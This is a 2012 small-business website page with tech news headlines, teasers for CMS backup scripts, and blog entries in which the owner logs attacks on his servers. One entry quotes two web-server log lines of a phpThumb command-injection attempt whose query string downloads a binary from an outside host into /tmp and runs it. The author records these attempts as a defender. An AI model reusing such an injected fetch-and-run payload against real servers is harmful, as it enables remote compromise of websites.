Happy Cat Technologies welcomes you to it's business web site. We look forward to new clients and exciting projects for 2012. Always remember that help is a phone call away, and we'll try to get you purring again as soon as possible. For January 2012, we continue the exciting BACKHACKER Blog as time permits, and hopefully find time to do some coding on the Shape from Shading GIMP Plug-in. So let a prosperous New Year begin!
Alfred P. Reaud, Proprietor, Happy Cat Technologies.WELCOME!
CNET News
- Kinect coming to laptops? Why?
- Sprint offers subscribers a pair of Gameloft ID Packs
- Lifelens malaria app wins Microsoft 'Imagine Cup' grant
- Best portable Bluetooth speakers
- Untethered tech: Wireless sensors monitor brain waves
- Reporters' Roundtable: Apple's China problem
- Apple's iPad turns 2: A look back and ahead
- At 'Twitter for video' Tout, happy celebs mean explosive growth
- Dear Apple: Do something about Chinese working conditions
- Apple catches flak in China supply chain saga
Wired Top Stories
- You Aren't Tough. These Guys Are Tough
- Documentary <em>Meaning of Robots</em> Unearths Droid-Porn Creator's Gadgets
- Game|Life Podcast: Are Used Games Doomed to Extinction?
- Galaxy Formation on a Benchtop
- Palms Down: Mobile Hardware Guru Jon Rubinstein Leaves HP
- Why Popcorn Smells Like a Bearcat?s Butt
- HTML5 Video on the Web Today
- Vulcan's View 7: Volcanoes Seen From Space
- An Intimate Look at Egypt's Youth in Ongoing Revolution
- Stone Age Social Networks May Have Resembled Ours
SlashDot
- When Viruses Infect Worms
- The ACTA Fight Returns: What Is At Stake & What You Can Do
- Bill Gates Gives $750M To AIDS Fund
- FBI Building App To Scrape Social Media
- Russian Rocket Fleet Grounded Again
- Mars Rover Opportunity Turns 8
- ReDigi Defends Used Digital Music Market
- Man Who Downloaded Bomb Recipes Jailed For 2 Years
- AT&T Threatening To Raise Rates After Merger Failure
- America's Future Is In Software, Not Hardware
LATEST CONTENT
Restoring the whole site
Restoring the whole site to a working state from an online site to a testing server, or from a testing server to an online site is a bit trickier. One has to account for differences in the server configurations. This leads to the locking of certain files on both the testing server and online server so that accidental updating doesn't occur. These files are usually the CMS configuration file, and .htaccess in the document root.
Hence in the following script, areas are left out that would be too specific to certain installations to be generically useful.
full_site_restore.sh
Backing up the whole site
The following script integrates backing up the database with backing up the site code. Please note that descriptions place-hold for actual values in the script. Those actual values must be edited in, depending on your site configuration, for the script to work.
This script is adapted from the updated fullsitebackup.sh script created by Bristolguy on Drupal.org. This script is currently operational on Fedora 14, and has not been tested on other versions of Linux.
full_site_backup.sh
Backing up the CMS Database
The CMS database is the heart of any content management system. It's loss or damage will result in the loss and or damage of all of your hard work, and that of your commentators, posters, and contributors. Below, are two scripts that complement each other, one backs up the database into a SQL file, the other restores it from a SQL file.
This script also allows porting between a testing server and the on-line site. In the script is a test for a folder called testing.server, discussed in the first page of this series, which differentiates between the server on-line and the testing server.
backup_db.sh
Content Management System Backup Scripts
Your content management system (CMS), and more importantly it's associated database tables, are subject to damage and attack. While most hosting providers provide daily backups, there are other tasks that necessitate tasks similar to backing up a CMS site.
BACKHACKER BLOG - Very Quiet on the Server Front
Unusually so, actually. Some of the methods may be working. Attack vectors cycle through periodically, some brute forcing the root, some brute forcing non-existent accounts. I still haven't figured out how to trap the password strings coming in on the brute forcing. Majority of attacks last week from CN, then US.
The activity has changed to the on-line servers, where I occasionally get DOS attacks. The GoDaddy servers throttle down if they sense one going on, but sometimes mistake valid activity for a DOS attack. All that takes latency to a 3-7 second level, which is OK as long as it stays on the lower end.
A new tool that I'm learning is Metasploit. An excellent penetration testing tool, but with a fairly steep learning curve. Maybe one of these days I'll make enough money to buy the pro version…
BACKHACKER BLOG - Disecting a Spoof Craigs List Email
Today's blog entry will cover a little live action. This is a continuation of the attacks from French domains. Contrary to popular belief, all online attacks DO NO ORIGINATE FROM CHINA!
Following the reciept of the following, I examined the email in detail (clicking on the image opens a full size image in another tab or window).
The most important above is that when you hover over the link, you can see in the status bar
BACKHACKER BLOG - Punishment DDOS attacks on online server
Attacks have ceased pretty much on the testing server, but I must have pissed somebody off last night. WOOT!
DDOS attacks started in the late evening, starting probably around 21:00 through at least probably midnight. Can't actually tell because I can't access the httpd logs. The positive note is this lead to me asking GoDaddy where the httpd logs are, something I wasn't aware of (in FTP Manager). Bluehost allow access to the server logs, but Yahoo did not when I used them. It's a virtual machine so the logs don't compromize any hosting provider confidential data...
The offending IP addresses were:
- 91.121.170.124 - FR, I know the bot-net there, and they have been getting inverse “Pavolovian Dog” training. I am almost willing to bet the control node resides in this general IP area,
BACKHACKER BLOG - Rise of the Machine. A week of wetware against bots...
A very interesting week in the wetware vs. botware wars. Patterns and common vulnerabilities are starting to come out of obscurity. New attack vectors have presented themselves. Indeed exciting times, LOL.
One of the most interesting, attack wise, comes from France and Malaysia. It appears to be a CMS scan, but I don't believe it is. There are embedded bash shell commands in the query string that are directed at specific sites that aren't my IP. I've included two samples below:
161.139.195.191 - - [23/Dec/2011:02:53:21 -0700] "GET /wp-content/plugins/com-resize/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20
-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;c
hmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 404 3602161.139.195.191 - - [23/Dec/2011:02:53:19 -0700] "GET /admin/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]
=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk
/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9 HTTP/1.1" 403 14168
Don't waste your time, folks, I penetration test my own systems regularly for weaknesses,
BACKHACKER BLOG - Persistent attacks from one IP in India
Today's memorable entry is from Trivandrum Kerala, India, in the State of Delhi: 117.243.250.249
They are memorable because for some reason fail2ban didn't trap them. So they got to attack the shell 495 times instead on the nominal five. Zenmap indicates an unusual setup, with some open ports that are normally filtered, and things not normally seen, such as ipp, wpgs, route, and sip. An unknown port is open at 20717.
Openvas reports 14 low level weaknesses, with a server running at port 631. The interpretation of that is that the hacking is intentional, because without weakness present, it somewhat eliminates unintentional bots, as with the Church last week. Most of the systems examined so far have certain weaknesses present, such as http TRACE. This IP is clean of even moderate weaknesses.
Makes one wonder why they waste their
BACKHACKER BLOG - Sea Change in Attack Vectors
There's been a sea change in the attack vectors coming into the testing server, and some interesting characters.
For approximately two weeks, we've been subject to "IP Agile" attacks. The term "IP Agile" is something borrowed from a piece of high end R&D lab equipment, a Fluke frequency-agile signal generator. The "IP Agile" attackers use numerous IP addresses that repeat only occasionally over a span of hours, evading tools like fail2ban. There also seems to be a specific cycle through countries, China, Brazil, Japan, EU (UK or France), Taiwan, then repeating, though I don't yet have enough data.
This set of attackers seems to be hitting mail servers and phone branch exchange (PBX) servers mostly. Found a great site at a church in Lafayette, IN that had their website infested. The trick was that you only saw the spam if you had javascripts disabled. Called them up and spoke to a parishioner manning the phones, and followed
PC News
- Macworld | iWorld: iKeyboard for iPads
- Amazon Merchant Caught Bribing Customers for Reviews
- Salesforce.com Customers Say New Analytics Should Be Included in Core Fees
- Cisco Aims to Simplify, Unify Collaboration Products' Design, Interfaces
- Wall Street Beat: Tech Shines as Earnings Come in Strong
- Microsoft Kinect Motion-Sensing Technology Coming to Laptops, Sources Say
- Google Slammed for Tainting Search to Hype Google+ Social Networking
- Facebook IPO Could Come as Soon as Next Week
- Facebook Scammers Redirect Victims Through Amazon's Cloud
- Coming Soon: An 'IBM Edition' of Apache OpenOffice
EnGadget
- Sony reveals new 3G/WiFi PS Vita bundles: free data, PSN games and memory cards for everyone
- Listen to the Engadget Mobile Podcast with guest CrackBerry Kevin, live at 5PM ET!
- First White House Chief Technology Officer, Aneesh Chopra, steps down
- HTC Titan II works its charm on the FCC with AT&T LTE included
- OWC Mercury Aura Pro Express SATA 3.0 SSDs doubles your (MacBook) Airspeed velocity
- Verizon-bound ZTE V66 slate gets photographed, looks just like you imagined
- Insert Coin: Dash car stereo gives your iPhone a new home, away from the cupholder (video)
- The Love Box is an analog video mixer, house of mirrors for your iPhone (video)
- Google upgrades Earth with better rendering, teaches it to sing in perfect harmony
- Microsoft reportedly working on Kinect-enabled laptops
Gizmodo
- USS Enterprise Coffee Table Is Furniture's Final Frontier [Star Trek]
- What Playing in a Dog Park Looks Like from a Dog's Point of View (Hint: Awesome) [Video]
- The Best Time to Change All Your Passwords [User Manual]
- This Centimeter of Dried Glue Is Apparently Worth Thousands of Dollars [Video]
- The iLuv Alarm Clock with iPod Dock and Bed Shaker Is Your BEEP-BEEP-WAKE-THE-F*&K-UP Deal of the Day [Dealzmodo]
- Droid Razr Maxx Gets an Insane 8+ Hours of LTE Battery Life [Android]
- WSJ: $100 Billion Facebook IPO Happening Next Week [Rumors]
- The Seven Best Auroras From the Biggest Solar Storm In Seven Years [Video]
- The Supreme Court Pulled a Miracle for Your Privacy [Privacy]
- Scratching Your Ankle Is the Most Pleasurable Itch-Scratching Relief of All [Science]


